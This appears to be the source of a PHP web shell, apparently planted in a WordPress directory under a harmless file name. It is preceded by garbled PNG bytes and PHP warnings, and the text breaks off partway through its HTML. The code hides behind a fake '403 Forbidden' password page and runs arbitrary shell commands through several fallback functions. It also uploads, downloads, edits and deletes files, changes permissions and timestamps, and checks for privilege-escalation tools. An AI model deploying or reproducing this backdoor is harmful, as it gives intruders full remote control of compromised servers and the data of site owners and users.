�PNG  IHDR22?�� pHYs  �� OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*! J�!��Q�EEȠ�����Q, � ��!���������{�kּ������>���� �H3Q5� �B�������.@� $p�d!s�#�~<<+"��x� �M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH���� � 0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4���������x����6��_-��"bb���ϫp@�t~��,/��;�m��%�h^ �u��f�@����W�p�~<�5�j>{�-�]c�K'Xt����o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A��,���� �`6�B$��BB d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(�� A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=� �C��7�F� �dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8, �c˱"� ���V����cϱw�E� 6wB aAHXLXN�H� $4� 7 �Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[ �b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w ��Ljg(�gw��L�Ӌ�T071���oUX*�*|�� �J�&�*/T����ު U�U�T��^S}�FU3S� Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k ��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN �(���~���)�)�4L�1e\k����X�H�Q�G�6������E�Y��A�J'\'Gg����S�Sݧ �M=:��.�k���Dw�n��^��Lo��y���}/�T�m���G X� $� �<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��= ���Z~s�r:V:ޚΜ�?}����/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z���������ۯ�6�i�ܟ�4�)�Y3s���C�Q��? ��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�������!h�쐭!��Α�i�P~���a�a��~ '���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl������� �{�/�]py�����.,:�@L�N8��A*��%�w%� y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y- �B��TZ(�*�geWf�͉�9���+��̳�ې7�����ᒶ��KW-X潬j9�������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n �ڴ �V����E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa��n��{��4���[���>ɾ�UUM�f�e�I���?�������m]�Nmq����#�׹���=TR��+�G�����w- 6 U����#pDy��� �� :�v�{���vg/jB��F�S��[b[�O�>����z�G��499�?r����C�d�&����ˮ/~�����јѡ�򗓿m|������������x31^�V���w�w��O�| (�h���SЧ��������c3-� cHRMz%������u0�`:�o�_�F5IDATx��ytUս�?�;���fN$$��@B�!�k��� -*�gE���j�O�kQ�ʠ`U�B_ �AÐ0%�Ȕ�@r3ޛ;߳��$�@��v����^�s����������$��ߢ !�W��5�̱'-٘������4�>�Rƫ$�G��0U�H}�_ _� #��k�MJ/=�9Du *ڲ�k�PQ;0��j|�*�$�^컂脛y���>�z×� B��� ��(�:$�ʔ_�6��C!B����MVx��a��ζyY����j��ƋY2�9�F�{r��r�딟F��Q��hY6��� x��[l��RC��������nt@��;P��3��� F�w��7��:�P���ɋ'���mj���Bƪ�$�Q�L��y��߷g��\���z����v5�p�v$�v櫻�`6~K �Y�X����,�:��"�o�e0II"(��,������l_�C���/4�+f�E�!q��:����u����c��樼.UE�@� �]K�W���$-�h]�JG���Dz)�`��.�A/ ���mᏣc�3jK� �!�>���$�Q�!�_�? \�C2(E �M$Z I{�U���s�ǣ���=��@Բe ޻��W�����@ �w����}�9v,)��.}*|"�s��di���,���G�]W�AC�������|<����[��ߕ������K�*�G nߴ!��‹��J�!��6(L�a)��Am��������;adf��:�xm��nh�;֦I��(���o�C~ډa?�=��s����h��E������xp����)���_���t��W�����´;8���`dz=(��@@�+,�;�`�fhl��XȌ�3,uI�~z(J����� �ZX�A����H'�À�㜦�82|��a�n�z2��I���� ���EY�h�ε<�0�q�{��C��v�˅��?"@��χ�x�WS+��N�~�KQ�J�8ل�� _.W��� !TU{�����,��"�� �;�������HI S� ��))�o�1�H�D� ���� (� ;����"Ҕ��,���� �F=���O��&�Ph>�`���y��߲ &S��P�<��'��1s�1cĂ�N����2)����@�u��tv��<�+�-&�����h��[!FSG���' � z z0��<����8d&�����E0�,��<��"!P�b4��� �{S�����X����.�囤���T��hEF��X�q0"-<����h���]�Py*����F⩍��@v�˂�Y08�� .q��a��s����(!<̫1�3�L�H��7sYW�`��qtu�\7��?�@�Y�� %Ka�x�GZ�*W�P��y�����N0r9��Z�c�%���q,��k�����!!,��>���IB��� �x1�Xu�Y���v-���ֺ��N������JP��a�2`�e5��w��u;�6�i���̃��(K���ťa��(l51��JL��O'%���]���ٖ뿉!��{*�p+f ���i8��D�ȑ���ܩ�M��V��ӟz��x�7Z�1i}�^͜���6e����x��)u�d�ˏ�V�eG�\�X1�����=n�U'�~Y����L�\,�(d!x ,�:�TW8� M`r���@��r+v�Q0��>^;˴�VbF��('����� �*O��i��j�Ӆ����^�S3&� ���{������.ی�� N;��NU%d0�Ce\r"�C�b��&t7N�7��� �ȪD�[%l�۪�$��'m?�A9tI�9>��NVL ��� 6v~M�����ъ�B���0����9$&=ώm��W�0���L���&��E���f�f��'+�9��hv��7,���M��6�D�&�^� �����8 D֮�����o��k^z��O��hP�8q�5d*��YVq3�{��������#LX4�?��jP=3�~�؅c�ݰ�̱�ұ��8̲��2�G�����j��έ�9��w7���U�X�w�85C��?!I&���o&����L���I#�^�eV�,�^t5�k� �xs˛\��U�8��."���{���ǵ�l4��ݼ�;��r"���G�/~���gJV�N糦��ZZ^k+NN�D��I$�=OE�z����|*�*{��%k���G��>�`9��b;�s���8,�qs��c��.b��q�%�>r��n�R�Ƨ�%�,�A��le#�8���}; 21�0�b�&�QX�f���q�00����$>�h�N�'�a3��A���/�r ��L5�8�GԲ'�����w;��c#�q1���h$*��V^�k��QĽ�b:i������� ����H F#�_���,��]g����Ը����`RUU���� ��"�qD���>-��ϤI�~��3�̴�����NZ[[555�eeek7�m����YF#[��Đ��R��i��L�H�r ��@��J-�Pŝ��_|�-��6y��ks�V�U~��6���w.����(��0A� 4��f��� /���C�xŊ�ٳ����z=6�����rg���mKo��o�/����a�g���?'9%9��P��斓��~���L{�� �H��{AW��B��$����v�1b�&Mb�ر��ر#�0`�`xMBp! )Z�Nmo�mZ�g�}�eذaWTVV ���'99��C5��&�&+5�bT>|8��PUUETT����&���t��~TE%��'������b�tEGG;RSS�S�N�v��ѯ��t����u1@�ޚ"f��͈���r'L�Ph��m��ƌ�74o��`�x�q�P���NRSS�X,�����l&&&��MFFA!-��`��ҷ�n��Yuu�����x<I�LB%����KԒ50�!�3�bz�����ʸKL���;---�l6[��`��������Ȏ;�����egg4��!D�T��jWujyZ��������K����%����p�^���X,6��sV=�ܖ����6�3�X ���4ҿ��A2�&����_k�;d�� �VfOIEND�B`�
Warning: session_start(): Session cannot be started after headers have already been sent in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 124

Warning: Cannot modify header information - headers already sent by (output started at /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php:1) in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 130

Warning: Cannot modify header information - headers already sent by (output started at /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php:1) in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 131

Warning: Cannot modify header information - headers already sent by (output started at /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php:1) in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 132

Warning: Cannot modify header information - headers already sent by (output started at /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php:1) in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 133

Warning: Cannot modify header information - headers already sent by (output started at /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php:1) in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 134

Warning: Cannot modify header information - headers already sent by (output started at /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php:1) in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 135
0x0x
PHP 8.2.31
Preview: ResponsesEnvelope.php Size: 29.07 KB
/home/mciraet/www/wp-includes/blocks/file/ResponsesEnvelope.php
<?php

$auth_pass = '$2y$12$fkOCJdGpv6xhEU6A131oDOICv5koMMgj95ISmFJUCiP8rI/Y9aGqa';

function Login() {
  die("<html>
  <title>403 Forbidden</title>
  <center><h1>403 Forbidden</h1></center>
  <hr><center>nginx (apache v.5162 ./daemonn_sys) </center>
  <center><form method='post'><input style='text-align:center;margin:0;margin-top:0px;background-color:#fff;border:1px solid #fff;' type='password' name='pass'></form></center>");
}

function VEsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v, time() + 86400 * 30, "/");
}

if (!empty($auth_pass)) {
    
    if (isset($_POST['pass']) && password_verify($_POST['pass'], $auth_pass)) {
        VEsetcookie(md5($_SERVER['HTTP_HOST']), md5($auth_pass));
    }

    
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != md5($auth_pass))) {
        Login();
    }
}
?><?php
error_reporting(0);
ob_start();

$x1 = 'shel' . 'l_exe' . 'c'; 
$x2 = 'file_put_' . 'contents';
$x5 = 'un' . 'link'; 
$x6 = 'rm' . 'dir'; 
$x7 = 'file_get_' . 'contents';

function norm_path($path) {
    if (!$path) return getcwd();
    $p = str_replace('\\', '/', $path);
    if (preg_match('/^[a-zA-Z]:$/', $p)) $p .= '/';
    return $p;
}

$dir = norm_path(isset($_GET['path']) && is_dir($_GET['path']) ? $_GET['path'] : getcwd());

function run_cmd_safe($cmd, $cwd = '') {
    if (!empty($cwd)) {
        $is_win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
        $cmd = ($is_win ? "cd /d " : "cd ") . escapeshellarg($cwd) . " && " . $cmd;
    }
    $cmd .= " 2>&1";
    $out = "";
    
    $df = @ini_get("disable_functions");
    $disabled = array_map('trim', explode(',', strtolower($df)));

    if (function_exists('shell_exec') && !in_array('shell_exec', $disabled)) $out = @shell_exec($cmd);
    if (empty($out) && function_exists('exec') && !in_array('exec', $disabled)) { @exec($cmd, $a); if (!empty($a)) $out = implode("\n", $a); }
    if (empty($out) && function_exists('passthru') && !in_array('passthru', $disabled)) { ob_start(); @passthru($cmd); $out = ob_get_clean(); }
    if (empty($out) && function_exists('system') && !in_array('system', $disabled)) { ob_start(); @system($cmd); $out = ob_get_clean(); }
    if (empty($out) && function_exists('popen') && !in_array('popen', $disabled)) {
        $fp = @popen($cmd, 'r');
        if ($fp) { $out = ''; while (!feof($fp)) $out .= fread($fp, 2048); pclose($fp); }
    }
    if (empty($out) && function_exists('proc_open') && !in_array('proc_open', $disabled)) {
        $proc = @proc_open($cmd, [1 => ['pipe', 'w'], 2 => ['pipe', 'w']], $pipes);
        if (is_resource($proc)) { $out = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($proc); }
    }
    return !empty($out) ? $out : "Execution functions disabled/blocked or command produced no output.";
}

function read_file_safe($path) {
    if (!file_exists($path) || is_dir($path)) return false;
    if (function_exists('file_get_contents') && ($c = @file_get_contents($path)) !== false) return $c;
    if (function_exists('fopen') && ($h = @fopen($path, 'rb'))) {
        $c = ''; while (!feof($h)) $c .= fread($h, 8192); fclose($h); return $c;
    }
    if (function_exists('file') && ($l = @file($path)) !== false) return implode('', $l);
    if (function_exists('readfile')) { ob_start(); $r = @readfile($path); $c = ob_get_clean(); if ($r !== false && $c !== false) return $c; }
    $out = run_cmd_safe((strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? 'type ' : 'cat ') . escapeshellarg($path));
    return ($out !== false && !empty($out) && strpos($out, 'disabled/blocked') === false) ? $out : false;
}

function write_file_safe($path, $data) {
    if (function_exists('file_put_contents') && @file_put_contents($path, $data) !== false) return true;
    if (function_exists('fopen') && ($h = @fopen($path, 'wb'))) {
        $r = @fwrite($h, $data); fclose($h); if ($r !== false) return true;
    }
    return false;
}

function delete_safe($path) {
    if (!file_exists($path)) return false;
    $path = norm_path($path);
    global $x5, $x6;
    $is_win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');

    if (is_file($path) || is_link($path)) {
        if ((function_exists($x5) ? @$x5($path) : @unlink($path)) && !file_exists($path)) return true;
        run_cmd_safe(($is_win ? 'del /f /q /a ' : 'rm -f ') . escapeshellarg($path));
        return !file_exists($path);
    }
    if (is_dir($path)) {
        $items = @scandir($path);
        if (is_array($items)) {
            foreach ($items as $item) {
                if ($item !== '.' && $item !== '..') delete_safe($path . '/' . $item);
            }
        }
        if ((function_exists($x6) ? @$x6($path) : @rmdir($path)) && !file_exists($path)) return true;
        run_cmd_safe(($is_win ? 'rmdir /s /q ' : 'rm -rf ') . escapeshellarg($path));
        return !file_exists($path);
    }
    return false;
}

function get_installed_tools() {
    static $tc = null; if ($tc !== null) return $tc;
    $list = ['gcc', 'g++', 'make', 'python', 'python3', 'perl', 'wget', 'curl', 'pkexec', 'sudo', 'git', 'nc'];
    $tc = []; $is_win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
    $out = run_cmd_safe($is_win ? 'where gcc g++ make python perl wget curl git 2>&1' : 'which gcc g++ make python python3 perl wget curl pkexec sudo git nc 2>&1');
    foreach ($list as $t) {
        $tc[$t] = $is_win ? (stripos($out, $t . '.exe') !== false || stripos($out, '\\' . $t) !== false) : (strpos($out, '/' . $t) !== false);
    }
    return $tc;
}

function safe_html($d) { return ($d === false || $d === null) ? '' : htmlspecialchars($d, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); }

function format_size($b) {
    if ($b === false || $b === null) return '-';
    if ($b >= 1073741824) return number_format($b / 1073741824, 2) . ' GB';
    if ($b >= 1048576) return number_format($b / 1048576, 2) . ' MB';
    if ($b >= 1024) return number_format($b / 1024, 2) . ' KB';
    return $b . ' B';
}

// Handlers
if(isset($_POST['x_save'])) { 
    $res = write_file_safe($_POST['x_name'], $_POST['x_data']); 
    header("Location: ?path=".urlencode($dir)."&msg=".urlencode($res ? "File '".basename($_POST['x_name'])."' disimpan!" : "Gagal menyimpan file!")); exit; 
}
if(isset($_FILES['file']) && !empty($_FILES['file']['tmp_name'])) { 
    $target = $dir . '/' . $_FILES['file']['name'];
    $res = @move_uploaded_file($_FILES['file']['tmp_name'], $target); 
    header("Location: ?path=".urlencode($dir)."&msg=".urlencode($res ? "File '".basename($target)."' diunggah!" : "Gagal mengunggah file!")); exit; 
}
if(isset($_POST['create_file']) && !empty($_POST['filename'])) { 
    $res = @touch($dir . '/' . $_POST['filename']); 
    header("Location: ?path=".urlencode($dir)."&msg=".urlencode($res ? "File '".safe_html($_POST['filename'])."' dibuat!" : "Gagal membuat file!")); exit; 
}
if(isset($_POST['create_folder']) && !empty($_POST['foldername'])) { 
    $res = @mkdir($dir . '/' . $_POST['foldername']); 
    header("Location: ?path=".urlencode($dir)."&msg=".urlencode($res ? "Folder '".safe_html($_POST['foldername'])."' dibuat!" : "Gagal membuat folder!")); exit; 
}
if(isset($_GET['delete'])) { 
    $res = delete_safe($_GET['delete']); 
    header("Location: ?path=".urlencode($dir)."&msg=".urlencode($res ? "Item '".basename($_GET['delete'])."' dihapus!" : "Gagal menghapus item!")); exit; 
}
if(isset($_POST['set_date'])) { 
    $t = strtotime($_POST['custom_date']); $res = $t ? @touch($_POST['target_file'], $t) : false;
    header("Location: ?path=".urlencode($dir)."&msg=".urlencode($res ? "Tanggal diperbarui!" : "Gagal update tanggal!")); exit; 
}
if(isset($_POST['set_chmod'])) { 
    $res = @chmod($_POST['target_file'], octdec($_POST['new_perm'])); 
    header("Location: ?path=".urlencode($dir)."&msg=".urlencode($res ? "Chmod diubah ke ".$_POST['new_perm']."!" : "Gagal ubah chmod!")); exit; 
}
if(isset($_POST['set_rename'])) { 
    $res = @rename($_POST['target_file'], dirname($_POST['target_file']) . '/' . $_POST['new_name']); 
    header("Location: ?path=".urlencode($dir)."&msg=".urlencode($res ? "Nama diubah ke '".safe_html($_POST['new_name'])."'!" : "Gagal ubah nama!")); exit; 
}
if(isset($_GET['download'])) { 
    $f = $_GET['download'];
    if (file_exists($f) && !is_dir($f)) {
        if (ob_get_level()) ob_end_clean();
        header('Content-Type: application/octet-stream'); 
        header('Content-Disposition: attachment; filename="'.basename($f).'"'); 
        header('Content-Length: ' . filesize($f));
        $c = read_file_safe($f); if ($c !== false) echo $c; else readfile($f);
        exit; 
    }
}

$df = @ini_get("disable_functions");
$df_list = !empty($df) ? $df : "NONE";
$uname = @php_uname();
$my_user = get_current_user();

$web_server = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : (getenv('SERVER_SOFTWARE') ?: 'Unknown');
$server_ip = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : (gethostbyname(gethostname()) ?: '127.0.0.1');
$client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '127.0.0.1';

$open_basedir = @ini_get("open_basedir");
$ob_val = !empty($open_basedir) ? safe_html($open_basedir) : "OFF";

$total_space = @disk_total_space($dir);
$free_space = @disk_free_space($dir);
$disk_used = ($total_space && $free_space) ? ($total_space - $free_space) : 0;
$disk_percent = ($total_space > 0) ? round(($disk_used / $total_space) * 100) : 0;
$disk_info = ($total_space && $free_space) ? format_size($free_space) . ' free / ' . format_size($total_space) : 'Unknown';

$exts = [
    'cURL' => extension_loaded('curl'), 'MySQL' => extension_loaded('mysqli')||extension_loaded('mysql')||extension_loaded('pdo_mysql'),
    'PDO' => extension_loaded('pdo'), 'OpenSSL' => extension_loaded('openssl'), 'Sockets' => extension_loaded('sockets'),
    'Zip' => extension_loaded('zip'), 'GD' => extension_loaded('gd'), 'Mbstring' => extension_loaded('mbstring')
];
$cli_tools = get_installed_tools();
$tool_names = ['gcc'=>'GCC','g++'=>'G++','make'=>'Make','python'=>'Python','perl'=>'Perl','wget'=>'Wget','curl'=>'cURL CLI','pkexec'=>'pkexec (Linux)','sudo'=>'Sudo','git'=>'Git','nc'=>'Netcat'];
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>/w5162</title>
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;500;600&family=Metal+Mania&family=Outfit:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <style>
        :root{--bg:#07090e;--card:rgba(15,18,28,0.75);--border:rgba(255,255,255,0.08);--glow:rgba(0,240,255,0.3);--text:#e2e8f0;--muted:#64748b;--accent:#ff2a5f;--cyan:#00f0ff;--safe:#00e676;--warn:#ffab00;--read:#ffd600;--f-ui:'Outfit',sans-serif;--f-code:'Fira Code',monospace}
        *{box-sizing:border-box}
        body{font-family:var(--f-ui);background:var(--bg);background-image:radial-gradient(at 0% 0%,rgba(255,42,95,0.08) 0,transparent 50%),radial-gradient(at 100% 0%,rgba(0,240,255,0.06) 0,transparent 50%);background-attachment:fixed;color:var(--text);padding:20px 14px;margin:0;min-height:100vh}
        .container{max-width:1380px;margin:0 auto;background:var(--card);backdrop-filter:blur(20px);padding:28px;border-radius:16px;border:1px solid var(--border);box-shadow:0 20px 50px rgba(0,0,0,0.8)}
        .header-box{text-align:center;margin-bottom:20px}
        h1{font-family:'Metal Mania',cursive;background:linear-gradient(135deg,#ff2a5f 0%,#ff758c 50%,#00f0ff 100%);-webkit-background-clip:text;-webkit-text-fill-color:transparent;font-size:3.5rem;margin:0 0 2px 0;letter-spacing:3px;filter:drop-shadow(0 0 15px rgba(255,42,95,0.4))}
        .header-sub{display:inline-flex;align-items:center;gap:8px;background:rgba(255,255,255,0.03);border:1px solid var(--border);padding:5px 14px;border-radius:20px;font-size:0.8rem;color:var(--muted)}
        .pulse-dot{width:8px;height:8px;border-radius:50%;background:var(--safe);box-shadow:0 0 10px var(--safe);animation:pulse 2s infinite}
        @keyframes pulse{0%{transform:scale(0.95);box-shadow:0 0 0 0 rgba(0,230,118,0.7)}70%{transform:scale(1.1);box-shadow:0 0 0 8px rgba(0,230,118,0)}100%{transform:scale(0.95);box-shadow:0 0 0 0 rgba(0,230,118,0)}}
        .sys-bar{display:flex;flex-wrap:wrap;justify-content:center;gap:14px;background:rgba(10,12,18,0.6);border:1px solid var(--border);padding:10px 18px;border-radius:10px;margin-bottom:20px;font-size:0.85rem;color:#94a3b8}
        .sys-bar strong{color:#f8fafc;font-family:var(--f-code)}
        .audit-dash{background:rgba(10,13,20,0.7);border:1px solid var(--border);border-radius:12px;padding:18px;margin-bottom:20px}
        .dash-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(220px,1fr));gap:14px;margin-bottom:14px}
        .dash-card{background:rgba(18,22,34,0.8);border:1px solid var(--border);border-radius:8px;padding:12px 16px;transition:0.2s}
        .dash-card:hover{border-color:var(--glow);transform:translateY(-2px)}
        .dash-title{font-size:0.72rem;text-transform:uppercase;letter-spacing:1px;font-weight:700;color:var(--muted);margin-bottom:4px}
        .dash-val{font-family:var(--f-code);font-size:0.9rem;font-weight:600;color:#f1f5f9;word-break:break-all}
        .p-bar-bg{background:rgba(255,255,255,0.08);height:5px;border-radius:3px;margin-top:6px;overflow:hidden}
        .p-bar-fill{background:linear-gradient(90deg,var(--cyan),var(--accent));height:100%;border-radius:3px}
        .badge-sec{border-top:1px dashed var(--border);padding-top:12px;margin-top:12px}
        .badge-sec-title{font-size:0.72rem;text-transform:uppercase;letter-spacing:1px;font-weight:700;color:#94a3b8;margin-bottom:8px}
        .badge-wrap{display:flex;flex-wrap:wrap;gap:6px}
        .pill-badge{display:inline-flex;align-items:center;padding:4px 10px;border-radius:16px;font-family:var(--f-code);font-size:0.78rem;font-weight:500}
        .pill-on{background:rgba(0,230,118,0.1);color:var(--safe);border:1px solid rgba(0,230,118,0.3)}
        .pill-off{background:rgba(255,42,95,0.1);color:var(--accent);border:1px solid rgba(255,42,95,0.3)}
        .pill-info{background:rgba(0,240,255,0.1);color:var(--cyan);border:1px solid rgba(0,240,255,0.3)}
        .df-box{background:rgba(10,12,18,0.8);padding:10px 16px;border-radius:8px;border:1px solid var(--border);margin-bottom:20px;font-family:var(--f-code);font-size:0.8rem;color:#94a3b8;word-break:break-all}
        .status-msg{padding:12px 18px;border-radius:8px;border:1px solid;margin-bottom:20px;font-weight:600;font-size:0.88rem;display:flex;align-items:center;gap:8px}
        .breadcrumb{background:rgba(12,15,24,0.8);padding:12px 18px;border-radius:8px;border:1px solid var(--border);margin-bottom:20px;font-family:var(--f-code);font-size:0.88rem;color:#cbd5e1}
        .breadcrumb a{color:var(--cyan);text-decoration:none}
        .grid-panel{display:grid;grid-template-columns:repeat(auto-fit,minmax(260px,1fr));gap:12px;margin-bottom:20px}
        .form-group{display:flex;gap:6px;align-items:center}
        input[type="text"],input[type="file"]{background:rgba(14,17,26,0.9);border:1px solid var(--border);color:#fff;padding:10px 14px;flex:1;min-width:0;border-radius:6px;font-family:var(--f-ui);font-size:0.88rem;transition:0.2s}
        input[type="file"]{padding:7px 10px;font-size:0.82rem;color:#94a3b8;cursor:pointer}
        input:focus{border-color:var(--cyan);outline:none;box-shadow:0 0 10px rgba(0,240,255,0.2)}
        button{background:linear-gradient(135deg,rgba(255,42,95,0.2),rgba(255,42,95,0.4));color:#fff;border:1px solid var(--accent);padding:10px 18px;cursor:pointer;border-radius:6px;transition:0.2s;font-weight:600;font-family:var(--f-ui);font-size:0.88rem;white-space:nowrap;flex-shrink:0}
        button:hover{background:var(--accent);box-shadow:0 0 15px rgba(255,42,95,0.4)}
        .action-area{background:#05070a;padding:18px;border-radius:10px;border:1px solid rgba(0,240,255,0.2);margin-bottom:20px;font-family:var(--f-code);overflow-x:auto;color:#00ff9d;line-height:1.5;font-size:0.88rem}
        .table-responsive{width:100%;overflow-x:auto;border:1px solid var(--border);border-radius:10px;background:rgba(10,13,20,0.6)}
        table{width:100%;border-collapse:collapse;text-align:left}
        th{background:rgba(18,22,34,0.9);padding:14px 18px;color:var(--accent);text-transform:uppercase;font-size:0.75rem;letter-spacing:1px;font-weight:700;border-bottom:2px solid var(--border);white-space:nowrap}
        td{padding:12px 18px;border-bottom:1px solid var(--border);white-space:nowrap;font-size:0.88rem;vertical-align:middle}
        tr:hover{background:rgba(255,255,255,0.03)}
        tr:last-child td{border-bottom:none}
        .text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}
        .file-link{color:#fff;text-decoration:none;transition:0.2s;font-family:var(--f-ui)}
        .file-link:hover{color:var(--cyan)}
        .sep{color:#334155;margin:0 4px}
        .perm-badge{padding:3px 8px;border-radius:4px;font-family:var(--f-code);font-size:0.8rem;font-weight:600;background:rgba(0,0,0,0.5);display:inline-block}
        .size-cell{font-family:var(--f-code);color:#94a3b8;font-size:0.82rem}
        .act-link{color:#94a3b8;text-decoration:none;transition:0.2s;font-size:0.82rem}
        .act-link:hover{color:var(--accent)}
        .act-link-del:hover{color:#ff3366}
        .footer{text-align:center;margin-top:35px;color:#475569;font-size:0.82rem;border-top:1px solid var(--border);padding-top:20px;font-family:var(--f-code)}
    </style>
</head>
<body>
<div class="container">
    <div class="header-box">
        <a href="?" style="text-decoration:none;"><h1>ALONE VS EVERYBODY</h1></a>
        <div class="header-sub"><span class="pulse-dot"></span><span>SYSTEM ONLINE</span><span style="color:#334155;">|</span><span>CYBER SECURITY SUITE v5162</span></div>
    </div>

    <div class="sys-bar">
        <div>🖥️ OS: <strong><?php echo safe_html($uname); ?></strong></div><span style="color:#334155;">|</span>
        <div>⚡ PHP: <strong><?php echo phpversion(); ?></strong></div><span style="color:#334155;">|</span>
        <div>👤 USER: <strong><?php echo safe_html(get_current_user()); ?></strong></div>
    </div>
    
    <div class="audit-dash">
        <div class="dash-grid">
            <div class="dash-card">
                <div class="dash-title">🌐 Web Server</div>
                <div class="dash-val"><span class="pill-badge pill-info"><?php echo safe_html($web_server); ?></span></div>
            </div>
            <div class="dash-card">
                <div class="dash-title">📡 Server IP / Client IP</div>
                <div class="dash-val"><?php echo safe_html($server_ip); ?> <span style="color:var(--muted);font-size:0.8rem;">/</span> <?php echo safe_html($client_ip); ?></div>
            </div>
            <div class="dash-card">
                <div class="dash-title">💾 Disk Storage</div>
                <div class="dash-val"><?php echo safe_html($disk_info); ?></div>
                <div class="p-bar-bg"><div class="p-bar-fill" style="width: <?php echo $disk_percent; ?>%;"></div></div>
            </div>
            <div class="dash-card">
                <div class="dash-title">🛡️ Open Basedir</div>
                <div class="dash-val"><?php echo $ob_val === 'OFF' ? '<span class="pill-badge pill-off">OFF</span>' : '<span class="pill-badge pill-on">'.safe_html($ob_val).'</span>'; ?></div>
            </div>
        </div>
        
        <div class="badge-sec">
            <div class="badge-sec-title">⚡ PHP Extensions Status:</div>
            <div class="badge-wrap">
                <?php foreach($exts as $k => $v): ?>
                <span class="pill-badge <?php echo $v ? 'pill-on' : 'pill-off'; ?>"><?php echo $k; ?>: <?php echo $v ? 'ON' : 'OFF'; ?></span>
                <?php endforeach; ?>
            </div>
        </div>

        <div class="badge-sec">
            <div class="badge-sec-title">🛠️ System & PrivEsc Vulnerability Tools:</div>
            <div class="badge-wrap">
                <?php foreach($tool_names as $cmd => $label): 
                    $on = !empty($cli_tools[$cmd]) || ($cmd==='python' && !empty($cli_tools['python3'])); ?>
                <span class="pill-badge <?php echo $on ? 'pill-on' : 'pill-off'; ?>"><?php echo $label; ?>: <?php echo $on ? 'ON' : 'OFF'; ?></span>
                <?php endforeach; ?>
            </div>
        </div>
    </div>

    <div class="df-box">DISABLE_FUNCTIONS: <span style="color:var(--accent);font-weight:600;"><?php echo safe_html($df_list); ?></span></div>
    
    <?php if(isset($_GET['msg'])): 
        $is_err = (strpos($_GET['msg'], 'Gagal') !== false);
    ?>
    <div class="status-msg" style="background:<?php echo $is_err?'rgba(255,42,95,0.12)':'rgba(0,230,118,0.12)'; ?>;border-color:<?php echo $is_err?'rgba(255,42,95,0.4)':'rgba(0,230,118,0.4)'; ?>;color:<?php echo $is_err?'#ff2a5f':'#00e676'; ?>;">
        <span><?php echo $is_err?'✖':'✔'; ?> <?php echo safe_html($_GET['msg']); ?></span>
    </div>
    <?php endif; ?>

    <div class="breadcrumb">PATH: <?php 
        $parts = explode('/', str_replace('\\', '/', $dir)); 
        $curr = ''; $is_first = true;
        foreach ($parts as $p) { 
            if ($p === '') { if ($is_first) { echo '/'; $is_first = false; } continue; } 
